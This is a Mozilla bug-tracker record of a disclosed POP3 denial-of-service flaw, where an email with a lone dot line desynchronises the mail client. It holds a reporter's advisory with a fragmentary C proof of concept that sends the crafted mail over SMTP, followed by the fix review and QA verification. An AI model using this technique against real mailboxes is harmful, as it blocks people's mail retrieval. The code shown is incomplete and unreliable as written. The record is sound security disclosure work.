Closed Bug 144228 Opened 18 years ago Closed 18 years ago

Malicious email breaks POP server connection


(MailNews Core :: Security, defect, major)

Not set


(Not tracked)



(Reporter: security-bugs, Assigned: naving)



(Whiteboard: [ADT1 RTM])


(1 file)

Reported by

I have found a bug is mozilla,
involving the retreiving part of it,
it can block the retreiving of the mail box, and the only way is
to use telnet to delete the bad mail or, using others mailclient.

the blocking effect is due to mishandling of \r\n, for more information
use the C code that I have join in the bottom of this mail.

I have wrote all the info in this little text, I will not distribute
this text until the bug gets fix, and when it will, the code will
be corrupt to not let some "script kiddies" plays at DoSing anyone...

Apart from this, Mozilla is great! :]

///// Strange Software Behaviour Reports #1 of
//// discovered, understood and exploited between 05, 08 2001
//// (yes, i took the time... :) )

\/\/\_/-> System affected:
        All versions of Netscape
        All versions of Mozilla (even the 2002041711)

^\/\/'\-> System not affected:
        Outlook Express
        Outlook 2000
        IncrediMail(thks to ben81 for testing)

|_/\/\\/> Buggy software team contacted about this: in process...

/\/\/\_/> Exploitation: remote & very easy & very anonymous :(

_/\/\/\_> Effects: With this remote hole, we can block any mail
        box that is checked with a pop3 client, so the
        hotmail, caramail like servers are not affected.
        A mail will cause the pop3 client to desynchronize
        with the server, losing the connection to it, and
        so, leaves all messages on the server (explain later)...

        In Netscape, we could only see the header of the message,
        in Mozilla, we could see the begin of the mail message...

-/\/\/\/> Explanation: In the SMTP protocol, we can send mail with
        some introduction command (ehlo,mail,rcpt) and then
        type our messages and place a dot at a new line to
        specify to the MTA that it is the end of the message.
        On the other side, when a POP3 client check mail, it
        connect to the server, retreive the mail, it terminate
        the download of a message when it sees a dot at a new line.
        And here is the trick.
        If we can place a dot at a new line, and place other
        words below this dot, the client will beleive the mail
        is finished and will try to download next messages, thus
        beiing desynchronize with the server...
        The POP3 client act as:
            login on to the POP3 server
            retrieve mails
            delete mails
        but if it is desynchronize, it will retreive mail, and
        disconnect, thus didn't delete mails, and the next time
        it login, it will refind the same mail, will retreive one
        more time the mails, disconnect, and other and other...
        A more detailed explanation,
        here it is a simple end of a normal mail:
        and this is the bad mail:
        We can see at the end of the two 0x0a, it seems that it is just
        place here by the console...forget it.
        At this stage, you could catch the bug...
        Bad implementation of \r\n ?

=\/\/\/-> Possible fixes: There are different ways to fix this,
        - one way is from the client, to stop the bad mail,
            this is to connect manually via telnet to the pop3
            server, and then identify the bad message and do a
            dele <# of the message>
        - one better way is to fix this from the client itself,
            the client can get the size of each messages via
            the list command, so it should be able to retrieve
            the complete message, not less, not more...
        - one way is to fix the MTA so it will not accept such
            the code below...

~\/\/\/~> Exploit:

/* this is the code that comes with my
 * advisory #1 to illustrate this...

#include <stdio.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>

#define MX "localhost"
#define EHLO "EHLO mx\r\n"
#define MAIL "MAIL FROM: root@localhost\r\n"
#define RCPT "RCPT TO: root@localhost\r\n"
#define DATA "DATA\r\n"
#define QUIT "QUIT\r\n"

#define PORT 25

int sock;
char buffer[255];

void SigCatch() {

int main() {
    /* I was too lame to implement the command line... :) */
    int i;
    struct sockaddr_in sout;
    struct hostent *hp;


    if (sock<0) {
        return -1;

    memcpy(&(sout.sin_addr),*(hp->h_addr_list),sizeof(struct in_addr));
    if (connect(sock,&sout,sizeof(sout))<0) {
        return -1;
    recv(sock,buffer,255,MSG_OOB); /* receive the banner... */

    recv(sock,buffer,255,MSG_OOB); /* receive the welcome message... */

    recv(sock,buffer,255,MSG_OOB); /* receive the acknowledgement to mail from. */

    recv(sock,buffer,255,MSG_OOB); /* idem, but for the rcpt to... */


    i=sprintf(buffer,"b4d maIl 1n
    send(sock,buffer,i+1+3,0); /* send the dumb thing ... */



    return 0;
Over to mscott. Scott, can you take a look?
Assignee: mstoltz → mscott
Severity: normal → major
Target Milestone: --- → mozilla1.0.1
Whiteboard: [ADT1 RTM]
reassigning to naving.
Assignee: mscott → naving
*** Bug 144560 has been marked as a duplicate of this bug. ***
Attached patch proposed fixSplinter Review
The fix is to use the message size together with the termination octet to
determine when we have completely downloaded a message. Some servers do not
return the message size with retr response but we know the message size from
'list' command that is done prior to 'retr' any message.
David, can you review?  thx. I'll get mscott to sr.
can you get someone else to review? I'll sr.
Comment on attachment 86510 [details] [diff] [review]
proposed fix

Attachment #86510 - Flags: superreview+
cavin, can I get r=?, thx. 
QA Contact: junruh → esther
Comment on attachment 86510 [details] [diff] [review]
proposed fix

Attachment #86510 - Flags: review+
Comment on attachment 86510 [details] [diff] [review]
proposed fix

a=asa (on behalf of drivers) for checkin to the 1.1 trunk.
Attachment #86510 - Flags: approval+
Once this lands on the trunk, let's get this verified.  adding adt1.0.1 nomination
Keywords: adt1.0.1
fixed on trunk
Closed: 18 years ago
Resolution: --- → FIXED
Thanks for the quick fix!
adt1.0.1+ (on ADT's behalf) approval for checkin to the 1.0.1. pls land this on
the 1.0 branch, then add the keywrod "fixed1.0.1".
Blocks: 143047
Keywords: adt1.0.1adt1.0.1+
Reopening to ensure the branch fix happens.
Resolution: FIXED → ---
closing this again so that QA can verify on trunk. I have asked approval from
drivers for 1.0 branch. We are using keywords for branch fixed and verified. 
Closed: 18 years ago18 years ago
Resolution: --- → FIXED
please check into the 1.0.1 branch ASAP. once landed remove the 
mozilla1.0.1+ keyword and add the fixed1.0.1 keyword
fixed on branch.
Navin, how can I test this.  In the duplicate bug you couldn't reproduce this
with our POP server and test account, you asked the reporter to send the same
message to another POP account using a different server.  I did not see that the
reporter did that.  Do you have a test case (an email that I can edit as new and
send) to see the problem? has this message, hopefully. Ask sheela for details. She owns
the acct.
I need the message that causes the problem sent to the above mentioned mail
account again for me to test the fix. Sent a request to the reporter of the dup
bug 6-17-2002
cc'ing sheela since she is the qa owner for the dup'd bug
I notified the owner of the malicious email again asking for it to be sent to
our test account. Will wait until 6-24, then try something else.
Using branch build 20020621 on winxp, linux and mac os9.1, branch build 20020618
on Mac OS10.1 and the malicious email sent to our test account by the original
reporter this is fixed.  Verified.
Note, I confirmed I saw the problem using builds dated before the fix.  I
received and error message when trying to download messages after the malicious
message was downloaded.  Then with the same profile and a fixed branch build, I
was able to get new messages that came in after the malicious message.  I will
now try this on the latest trunk builds to complete the verification.
Verified on trunk builds: 20020617 winxp, 20020614 linux, 20020613 mac os10.1
and 20020610 mac 9.1  Resolving as verfied now since it was verified on trunk
and branch builds.
Group: security?
Product: MailNews → Core
Product: Core → MailNews Core
You need to log in before you can comment on or make changes to this bug.